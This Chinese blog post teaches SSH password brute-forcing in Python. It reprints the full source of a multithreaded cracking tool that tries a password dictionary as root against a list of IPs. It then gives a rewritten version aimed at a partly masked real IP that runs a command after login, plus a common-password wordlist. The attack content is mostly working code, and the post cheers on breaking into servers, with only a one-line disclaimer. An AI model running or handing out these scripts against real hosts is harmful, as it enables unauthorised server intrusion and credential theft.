Python对SSH进行暴力破解

暴力破解属于密码破解的一种,也是最常见的破解方法之一,通过不断的尝试来达到破解的目的,所以暴力破解的本质就是一种枚举。

现在也有很多流行的破解软件,不过个人觉得装上kail其实也就啥都有了,但是今天我们不说他们,今天主题是如何使用Python来进行SSH的暴力破解。

在Github上有一个库叫sshfucker,专门用于 SSH 的暴力破解。

https://github.com/TheKingOfDuck/sshfucker

这个模块很简单,代码实现不到70行,只封装了一个py文件。

# !/usr/bin/python python
# -*- coding: utf-8 -*-

import paramiko, threading, sys, time, os

class SSHThread(threading.Thread):

    def __init__(self, ip, port, timeout, dic, LogFile):
        threading.Thread.__init__(self)
        self.ip = ip
        self.port = port
        self.dict = dic
        self.timeout = timeout
        self.LogFile = LogFile

    def run(self):
        print("Start try ssh => %s" % self.ip)
        username = "root"
        try:
            password = open(self.dict).read().split('\n')
        except:
            print("Open dict file `%s` error" % self.dict)
            exit(1)
        for pwd in password:
            try:
                ssh = paramiko.SSHClient()
                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
                ssh.connect(self.ip, self.port, username, pwd, timeout=self.timeout)
                print("\nIP => %s, Login %s => %s \n" % (self.ip, username, pwd))
                open(self.LogFile, "a").write("[ %s ] IP => %s, port => %d, %s => %s \n" % (
                time.asctime(time.localtime(time.time())), self.ip, self.port, username, pwd))
                break
            except:
                print("IP => %s, Error %s => %s" % (self.ip, username, pwd))
                pass

def ViolenceSSH(ip, port, timeout, dic, LogFile):
    ssh_scan = SSHThread(ip, port, timeout, dic, LogFile)
    ssh_scan.start()

def main(ipFile, dic, log):
    if ipFile == "-h":
        help()
    try:
        ipText = open(ipFile).read().split('\n')
        for ip in ipText:
            if ip != '':
                time.sleep(0.5)
                threading.Thread(target=ViolenceSSH, args=(ip, 22, 1, dic, log,)).start()
    except:
        print("Open IP list file `%s` error" % ipFile)
        exit(1)

def help():
    print("python ssh.scan.py :\n\
        修改dict下的ip文件,password按需求修改,然后执行脚本。 \n")
    exit(1)

if __name__ == '__main__':

    fpath = os.path.dirname(os.path.abspath('__file__'))
    ipFile = sys.argv[1] if len(sys.argv) > 1 else fpath + "/dict/ip"
    dic = sys.argv[2] if len(sys.argv) > 2 else fpath + "/dict/password"
    log = sys.argv[3] if len(sys.argv) > 3 else fpath + "/log/sshd"
    try:
        os.system("clear")
        main(ipFile, dic, log)
    except KeyboardInterrupt:
        exit(1)

我们可以明显的看到,这个模块依赖于 Paramiko。

Paramiko 是用于建立 SSH2 连接(客户端或服务器)的库,基于Python实现。重点是使用 SSH2 作为 SSL 的替代方法,以在 Python 脚本之间建立安全连接。支持所有主要密码和哈希方法。也支持 SFTP 客户端和服务器模式。

Paramiko 库在Python自动化运维领域很受推崇。

pip install paramiko

然后我们还可以看到这个模块实际上就是利用 Paramiko  建立了 ssh 的客户端连接,批量导入文件,采用多线程的方式来进行暴力破解,思路很清晰。

修改代码实现如下:

import sys
import paramiko
import threading
from concurrent.futures import ThreadPoolExecutor

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())  
is_find=False

def SshCheck(password):
    try:
        ssh.connect("119.23.xx.xx", 22, 'root', password, timeout=1.5)
        stdin, stdout, stderr = ssh.exec_command('df')
        result = stdout.read()
        if result:
            sys.stdout.write('[OK]' + '\t' + password + '\n')
            global is_find
            is_find = True
            exit()
    except Exception as e:
        print(e, "失败!!!")
    finally:
        ssh.close()
filedata = open("pwds.txt", "r")

def run():
    pool = ThreadPoolExecutor(3)
    while 1:
        global is_find
        if is_find:
            break
        line = filedata.readline()
        if not line:
            break
        line = line.strip("\n")
        pool.submit(SshCheck,line)

run()

采用了协程并发来进行ssh连接,如果成功破解我们就直接退出。

这里的pwds.txt 文件用于存放破解密码。

password
123456
12345678
1234
qwerty
12345
dragon
pussy
baseball
football
letmein
monkey
696969
abc123
mustang
michael
shadow
master
jennifer
111111
2000
jordan
...
...

python sshfucker.py

回车Enter一按下去,服务器就被入侵了。

总结:

你也可以用你的云服务器或者自己搭建的服务器进行测试,只要 ssh验证的ip,端口和密码正确,即破解成功。破解一直爽,一直破解一直爽,利用Python不仅可以对ssh进行暴力破解,数据库,网站后台管理也是同样的道理,只不过使用的库不同而已。 

请勿用于非法用途哦!!!

你可能感兴趣的:(ssh,python,运维)